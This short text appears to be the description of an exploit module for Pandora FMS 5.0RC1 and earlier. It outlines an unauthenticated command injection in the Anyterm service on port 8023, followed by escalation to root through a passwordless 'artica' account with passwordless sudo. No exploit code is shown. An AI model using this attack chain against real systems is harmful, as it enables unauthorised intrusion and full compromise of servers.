|
|
This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower.
|
|
It will leverage an unauthenticated command injection in the Anyterm service on
|
|
port 8023/TCP. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1
|
|
the user "artica" is not assigned a password by default, which makes it possible to su
|
|
to this user from the "pandora" user. The "artica" user has access to sudo without a
|
|
password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0
|
|
and lower force a password for the "artica" user during installation.
